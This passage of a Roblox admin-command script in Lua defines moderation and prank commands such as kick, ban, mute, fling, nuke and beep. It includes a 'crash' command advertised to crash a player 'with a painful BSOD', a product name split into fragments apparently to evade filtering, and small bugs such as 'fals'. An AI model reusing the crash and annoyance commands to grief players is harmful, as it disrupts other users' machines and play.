  5991. local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  5992. Player.Character.Humanoid.WalkSpeed = 0
  5993. Player.Character.Torso.Anchored = true
  5994. coroutine.wrap(function()
  5995. local OldCFrame = Player.Character.Torso.CFrame
  5996. for i = 0,8,0.1 do
  5997. Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  5998. wait()
  5999. end
  6000. Player.Character.Torso.Anchored = false
  6001. Player.Character:BreakJoints()
  6002. CORE:InvisiblePlayer(Player)
  6003. end)()
  6004. end
  6005. end
  6006. end};
  6007.  
  6008. [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  6009. local Players = STRING:Scan(Arguments[1], Speaker)
  6010. for _,Player in pairs(Players) do
  6011. CORE:AnchorPlayer(Player)
  6012. end
  6013. end};
  6014.  
  6015. [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6016. local Players = STRING:Scan(Arguments[1], Speaker)
  6017. for _,Player in pairs(Players) do
  6018. CORE:UnanchorPlayer(Player)
  6019. end
  6020. end};
  6021.  
  6022. [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6023. local Players = STRING:Scan(Arguments[1], Speaker)
  6024. for _,Player in pairs(Players) do
  6025. CORE:InvisiblePlayer(Player)
  6026. end
  6027. end};
  6028.  
  6029. [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6030. local Players = STRING:Scan(Arguments[1], Speaker)
  6031. for _,Player in pairs(Players) do
  6032. CORE:VisiblePlayer(Player)
  6033. end
  6034. end};
  6035.  
  6036. [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6037. local Players = STRING:Scan(Arguments[1], Speaker)
  6038. for _,Player in pairs(Players) do
  6039. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6040. local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  6041. local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  6042. local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  6043. local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  6044. local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  6045. local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  6046. Fly:Play()
  6047. local Touched = false
  6048. coroutine.wrap(function()
  6049. repeat wait(0.1)
  6050. Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  6051. until not Ast or Ast.Parent == nil or Touched == true
  6052. end)()
  6053. Ast.Touched:connect(function(Part)
  6054. if Touched == false then
  6055. Touched = true
  6056. Part:BreakJoints()
  6057. local Boom = Instance.new("Explosion", Workspace)
  6058. Boom.Position = Ast.Position
  6059. Boom.BlastPressure = 1000000
  6060. Boom.BlastRadius = 30
  6061. Fire.Heat = 0
  6062. Smoke.RiseVelocity = 0
  6063. Fly:Stop()
  6064. BoomSound:Play()
  6065. coroutine.wrap(function()
  6066. wait(3)
  6067. BoomSound:Stop()
  6068. if Ast and Ast.Parent ~= nil then
  6069. Ast:Destroy()
  6070. end
  6071. end)()
  6072. end
  6073. end)
  6074. end
  6075. end
  6076. end};
  6077.  
  6078. [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6079. local Success = {}
  6080. local Players = STRING:Scan(Arguments[1], Speaker)
  6081. for _,Player in pairs(Players) do
  6082. local PlayerRank = RANK:GetRank(Player)
  6083. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6084. CORE:Kick(Player)
  6085. table.insert(Success, Player)
  6086. end
  6087. end
  6088. REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
  6089. end};
  6090.  
  6091. [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6092. local Success = {}
  6093. local Players = STRING:Scan(Arguments[1], Speaker)
  6094. for _,Player in pairs(Players) do
  6095. local PlayerRank = RANK:GetRank(Player)
  6096. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6097. RANK:RemoveRank(Player)
  6098. table.insert(Settings.Ranks.Banned, Player.Name)
  6099. CORE:Kick(Player)
  6100. table.insert(Success, Player)
  6101. end
  6102. end
  6103. REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
  6104. end};
  6105.  
  6106. [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6107. local Success = {}
  6108. local Players = STRING:Scan(Arguments[1], Speaker)
  6109. for _,Player in pairs(Players) do
  6110. local PlayerRank = RANK:GetRank(Player)
  6111. if PlayerRank ~= "Owner" then
  6112. RANK:RemoveRank(Player)
  6113. table.insert(Settings.Ranks.Crashed, Player.Name)
  6114. CORE:Crash(Player)
  6115. table.insert(Success, Player)
  6116. end
  6117. end
  6118. REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
  6119. end};
  6120.  
  6121. [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6122. local Success = {}
  6123. local Players = STRING:Scan(Arguments[1], Speaker)
  6124. for _,Player in pairs(Players) do
  6125. local PlayerRank = RANK:GetRank(Player)
  6126. if PlayerRank ~= "Owner" then
  6127. RANK:RemoveRank(Player)
  6128. table.insert(Settings.Ranks.Muted, Player.Name)
  6129. GUI:CoreGui(Player, "Chat", false)
  6130. table.insert(Success, Player)
  6131. end
  6132. end
  6133. REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
  6134. end};
  6135.  
  6136. [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6137. local Players = STRING:Scan(Arguments[1], Speaker)
  6138. if #Players > 0 then
  6139. local Success = {}
  6140. for _,Player in pairs(Players) do
  6141. local RankName,RankNum = RANK:GetRank(Player)
  6142. if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  6143. if not RANK:IsSupremeOwner(Player) then
  6144. if RankName == "Muted" then
  6145. GUI:CoreGui(Player, "Chat", true)
  6146. end
  6147. if RankNum > 0 then
  6148. GUI:TellNotAdmin(Player)
  6149. end
  6150. RANK:RemoveRank(Player)
  6151. table.insert(Success, Player)
  6152. end
  6153. end
  6154. end
  6155. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
  6156. else
  6157. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6158. if Player then
  6159. local RankNum = RANK:ConvertRank(PlayerRank)
  6160. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6161. if not RANK:IsSupremeOwner(Player) then
  6162. RANK:RemoveRank(Player)
  6163. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
  6164. end
  6165. end
  6166. end
  6167. end
  6168. end};
  6169.  
  6170. [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6171. local Players = STRING:Scan(Arguments[1], Speaker)
  6172. if #Players > 0 then
  6173. local Success = {}
  6174. for _,Player in pairs(Players) do
  6175. local PlayerRank,RankNum = RANK:GetRank(Player)
  6176. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6177. RANK:RemoveRank(Player)
  6178. table.insert(Settings.Ranks.Member, Player.Name)
  6179. GUI:TellAdmin(Player)
  6180. table.insert(Success, Player)
  6181. end
  6182. end
  6183. REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6184. else
  6185. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6186. if Player then
  6187. local RankNum = RANK:ConvertRank(PlayerRank)
  6188. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6189. if not RANK:IsSupremeOwner(Player) then
  6190. RANK:RemoveRank(Player)
  6191. table.insert(Settings.Ranks.Member, Player)
  6192. end
  6193. end
  6194. else
  6195. RANK:RemoveRank(Arguments[1])
  6196. table.insert(Settings.Ranks.Member, Arguments[1])
  6197. end
  6198. end
  6199. end};
  6200.  
  6201. [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6202. local Players = STRING:Scan(Arguments[1], Speaker)
  6203. if #Players > 0 then
  6204. local Success = {}
  6205. for _,Player in pairs(Players) do
  6206. local PlayerRank,RankNum = RANK:GetRank(Player)
  6207. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6208. RANK:RemoveRank(Player)
  6209. table.insert(Settings.Ranks.Admin, Player.Name)
  6210. GUI:TellAdmin(Player)
  6211. table.insert(Success, Player)
  6212. end
  6213. end
  6214. REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
  6215. else
  6216. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6217. if Player then
  6218. local RankNum = RANK:ConvertRank(PlayerRank)
  6219. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6220. if not RANK:IsSupremeOwner(Player) then
  6221. RANK:RemoveRank(Player)
  6222. table.insert(Settings.Ranks.Admin, Player)
  6223. end
  6224. end
  6225. else
  6226. RANK:RemoveRank(Arguments[1])
  6227. table.insert(Settings.Ranks.Admin, Arguments[1])
  6228. end
  6229. end
  6230. end};
  6231.  
  6232. [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6233. local Players = STRING:Scan(Arguments[1], Speaker)
  6234. if RANK:IsSupremeOwner(Speaker) then
  6235. if #Players > 0 then
  6236. local Success = {}
  6237. for _,Player in pairs(Players) do
  6238. if not RANK:IsSupremeOwner(Player) then
  6239. RANK:RemoveRank(Player)
  6240. table.insert(Settings.Ranks.Owner, Player.Name)
  6241. GUI:TellAdmin(Player)
  6242. table.insert(Success, Player)
  6243. end
  6244. end
  6245. REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6246. else
  6247. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6248. if Player then
  6249. local RankNum = RANK:ConvertRank(PlayerRank)
  6250. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6251. if not RANK:IsSupremeOwner(Player) then
  6252. RANK:RemoveRank(Player)
  6253. table.insert(Settings.Ranks.Owner, Player)
  6254. end
  6255. end
  6256. else
  6257. RANK:RemoveRank(Arguments[1])
  6258. table.insert(Settings.Ranks.Owner, Arguments[1])
  6259. end
  6260. end
  6261. end
  6262. end};
  6263.  
  6264. [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6265. local TableStorage = {}
  6266. for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  6267. for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  6268. for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  6269. GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  6270. end};
  6271.  
  6272. [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  6273. local TableStorage = {}
  6274. for _,Player in pairs(Server.Players:GetChildren()) do
  6275. local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  6276. if ValidAdmin then
  6277. if PlayerRank == "Owner" then
  6278. table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  6279. else
  6280. table.insert(TableStorage, Player.Name..": "..PlayerRank)
  6281. end
  6282. end
  6283. end
  6284. GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  6285. end};
  6286.  
  6287. [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  6288. GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  6289. end};
  6290.  
  6291. [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  6292. GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  6293. end};
  6294.  
  6295. [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  6296. GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  6297. end};
  6298.  
  6299. [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6300. local TableStorage = {}
  6301. for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  6302. for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  6303. for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  6304. GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  6305. end};
  6306.  
  6307. [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6308. local TableStorage = {}
  6309. for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  6310. for Num,PlayerName in pairs(PlayerNames) do
  6311. if PlayerRank == "Owner" then
  6312. table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  6313. else
  6314. table.insert(TableStorage, PlayerName..": "..PlayerRank)
  6315. end
  6316. end
  6317. end
  6318. GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
  6319. end};
  6320.  
  6321. [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6322. GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  6323. end};
  6324.  
  6325. [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6326. GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  6327. end};
  6328.  
  6329. [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6330. GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  6331. end};
  6332.  
  6333. [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6334. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  6335. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  6336. GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  6337. end};
  6338.  
  6339. [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6340. CommandLogs = {}
  6341. end};
  6342.  
  6343. [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6344. ChatLogs = {}
  6345. end};
  6346.  
  6347. [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6348. IRC.Logs = {}
  6349. end};
  6350.  
  6351. [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6352. CommandLogs = {}
  6353. ChatLogs = {}
  6354. IRC.Logs = {}
  6355. end};
  6356.  
  6357. [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6358. Server.GDS:SetAsync("ExploitLog", {})
  6359. end};
  6360.  
  6361. [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  6362. local List,Correlate,SoundName = {},{},{}
  6363. for Name,Info in pairs(SoundList) do
  6364. local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  6365. table.insert(List, View)
  6366. Correlate[View] = Info[1]
  6367. end
  6368.  
  6369. local CanClick = true
  6370. if Rank == "Member" then CanClick = false end
  6371. local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  6372. Clicked.Event:connect(function(ClickName)
  6373. local OldSoundId = nil
  6374. SOUND:StopGlobalSound()
  6375. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6376. SOUND:PlayGlobalSound(Correlate[ClickName])
  6377. end
  6378. end)
  6379. end};
  6380.  
  6381. [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6382. SOUND:SyncSoundList(Speaker)
  6383. end};
  6384.  
  6385. [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6386. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  6387. if Answer == "Yes" then
  6388. Server.Workspace.Terrain:Clear()
  6389. end
  6390. end};
  6391.  
  6392. [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6393. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  6394. if Answer == "Yes" then
  6395. for _,Obj in pairs(Workspace:GetChildren()) do
  6396. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  6397. Obj:Destroy()
  6398. end
  6399. end
  6400. end
  6401. end};
  6402.  
  6403. [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6404. CORE:MakeBase()
  6405. end};
  6406.  
  6407. [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6408. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6409. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6410. CustomSounds = {}
  6411. end
  6412. if tostring(Arguments[1]) then
  6413. local Request = MARKET:GetItemInfo(Arguments[1])
  6414. if Request.AssetTypeId == 3 then
  6415. table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  6416. SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
  6417. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6418. GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  6419. else
  6420. GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  6421. end
  6422. end
  6423. end};
  6424.  
  6425. [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6426. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6427. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6428. CustomSounds = {}
  6429. end
  6430.  
  6431. local Removed = {}
  6432. for Num,Data in pairs(CustomSounds) do
  6433. if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6434. table.insert(Removed, Data[1])
  6435. table.remove(CustomSounds, Num)
  6436. end
  6437. end
  6438.  
  6439. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6440.  
  6441. SOUND:SyncSoundList()
  6442.  
  6443. if #Removed > 0 then
  6444. GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  6445. else
  6446. GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  6447. end
  6448. end};
  6449.  
  6450. [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6451. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  6452. if Answer == "Yes" then
  6453. Server.GDS:SetAsync("MML Custom Sounds", {})
  6454. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  6455. GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  6456. end
  6457. end};
  6458.  
  6459. [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6460. local Players = STRING:Scan(Arguments[1], Speaker)
  6461. local SpeakerTesting = false
  6462. for _,Player in pairs(Players) do
  6463. if Player == Speaker then SpeakerTesting = true end
  6464. if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  6465. CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  6466. --wait(10)
  6467. --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  6468. end)() end
  6469. end
  6470. if SpeakerTesting == false then
  6471. GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  6472. end
  6473. end};
  6474.  
  6475. [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6476. local Players = STRING:Scan(Arguments[1], Speaker)
  6477. local Compile = {}
  6478. for _,Player in pairs(Players) do
  6479. local PlayerInfo = ClientInfo[Player.Name]
  6480. if PlayerInfo then
  6481. if PlayerInfo.Benchmark then
  6482. table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  6483. else
  6484. table.insert(Compile, Player.Name..": No score")
  6485. end
  6486. end
  6487. end
  6488. GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  6489. end};
  6490.  
  6491. [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6492. local Players = STRING:Scan(Arguments[1], Speaker)
  6493. for _,Player in pairs(Players) do
  6494. CORE:Chatted(Arguments[2], Player, true)
  6495. end
  6496. end};
  6497.  
  6498. [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  6499. CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  6500. end};
  6501.  
  6502. [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  6503. local Players = STRING:Scan(Arguments[1], Speaker)
  6504. for _,Player in pairs(Players) do
  6505. if Player.Character ~= nil then
  6506. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  6507. if Player.Character.Torso:FindFirstChild("Neck") then
  6508. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6509. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6510. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
  6511. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  6512. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  6513. end
  6514. end
  6515. end
  6516. end
  6517. end};
  6518.  
  6519. [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  6520. local Players = STRING:Scan(Arguments[1], Speaker)
  6521. for _,Player in pairs(Players) do
  6522. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  6523. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6524. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6525. end
  6526. end
  6527. end};
  6528.  
  6529. [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  6530. local Players = STRING:Scan(Arguments[1], Speaker)
  6531. for _,Player in pairs(Players) do
  6532. local _,RankNum = RANK:GetRank(Player)
  6533. if RankNum <= RANK:ConvertRank(Rank) then
  6534. CORE:FlingPlayer(Player)
  6535. end
  6536. end
  6537. end};
  6538.  
  6539. [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  6540. local Players = STRING:Scan(Arguments[1], Speaker)
  6541. for _,Player in pairs(Players) do
  6542. local _,RankNum = RANK:GetRank(Player)
  6543. if RankNum <= RANK:ConvertRank(Rank) then
  6544. Flings[Player.Name] = true
  6545. CORE:FlingPlayer(Player)
  6546. end
  6547. end
  6548. end};
  6549.  
  6550. [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6551. local Players = STRING:Scan(Arguments[1], Speaker)
  6552. for _,Player in pairs(Players) do
  6553. local _,RankNum = RANK:GetRank(Player)
  6554. if RankNum <= RANK:ConvertRank(Rank) then
  6555. Flings[Player.Name] = nil
  6556. end
  6557. end
  6558. end};
  6559.  
  6560. [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6561. local Players = STRING:Scan(Arguments[1], Speaker)
  6562. for _,Player in pairs(Players) do
  6563. CORE:Nuke(Player)
  6564. end
  6565. end};
  6566.  
  6567. [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6568. local Players = STRING:Scan(Arguments[1], Speaker)
  6569. for _,Player in pairs(Players) do
  6570. Beeps[Player.Name] = true
  6571. SOUND:BeepPlayer(Player)
  6572. end
  6573. end};
  6574.  
  6575. [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6576. local Players = STRING:Scan(Arguments[1], Speaker)
  6577. for _,Player in pairs(Players) do
  6578. if Player.PlayerGui then
  6579. Beeps[Player.Name] = nil
  6580. for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  6581. if Obj.Name == "Annoy" then
  6582. Obj:Stop()
  6583. Obj:Destroy()
  6584. end
  6585. end
  6586. end
  6587. end
  6588. end};
  6589.  
  6590. [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6591. local Time = Arguments[1]
  6592. if Time == "day" or Time == "noon" then Time = "12" end
  6593. if Time == "night" or Time == "midnight" then Time = "0" end
  6594. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  6595. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  6596. if Time == "afternoon" then Time = "15:30" end
  6597. ypcall(function() Server.Lighting.TimeOfDay = Time end)
  6598. end};
  6599.  
